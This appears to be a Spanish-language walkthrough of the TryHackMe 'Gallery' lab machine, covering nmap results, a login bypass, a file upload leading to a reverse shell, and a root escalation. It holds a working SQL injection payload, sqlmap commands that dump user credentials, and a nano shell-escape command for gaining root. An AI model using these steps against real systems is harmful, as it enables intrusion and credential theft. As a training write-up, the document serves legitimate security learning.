Gallery Writeup - Try-Hack-Me
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Simple Image Gallery System
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.42 seconds
Ports: 80/htto - 8080/http
Enumeracion del puerto 80
Fuzzing con gobuster
vamos a analizar el subdominio /gallery
login
vamos a intentar varias credenciales por defecto y tambien inyecciones sqli
payload inyeccion sqli
1
admin'OR 1=1-- -
tenemos acceso a la pag web
en el apartado de albums podemos ver una opcion para cargar archivos lo que podriamos utilizar para intentar cargar un archivo php que contenga una reverse shell
la rever shell ha funcionado tenemos conexion a la maquina
movimiento lateral.
navegando por la maquina hemos conseguido un archivo backups del usuario mike en el cual tenemos permisos de lectura sobre el archivo .bash_history y dentro podemos ver que el usuario mike en algun momento proporciono su clave de super usuario asi que vamos a capturarla para convertirnos en el usuario mike
analizando la maquina podemos ver que tenemos una base de datos
usaremos sqlmap para enumerar esta base de datos
sqlmap
1
sqlmap -r phpid.txt --dbs
necesitamos interceptar alguna peticion con el burpsuite para poder conseguir la phpsessionid
ya tenemos el nombre de la base de datos. ahora vamos a enumerarla
1
sqlmap -r phpid.txt -D gallery_db --tables
hemos enumerado las tablas de la base de datos. la tabla de users parece interesanta asi que vamos a echar un vistazo
ahora vamos a enumerar la tabla de usuarios
1
sqlmap -r phpid.txt -D gallery_db -T users --columns users
ahora vamos a enumerar las columnas de password y username
1
sqlmap -r phpid.txt -D gallery_db -T users --columns users -C username,password --dump
tenemos credenciales del usuario admin
Escalada de privilegios
el usuario mike tiene permisos root para el script rootkit.sh usaremos esto para escalar privilegios
script: el archivo tiene 4 variables. pero lo mas importante es que nos permite usar nano como root. usaremos esto para escalar privilegios
usaremos la opcion numero 4 (read) esto nos permite editar el archivo
usaremos este comando con nano para lograr la escalada
1
2
3
4
nano
- Ctrl^R
- reset; sh 1>&0 2>&0
- Ctrl^X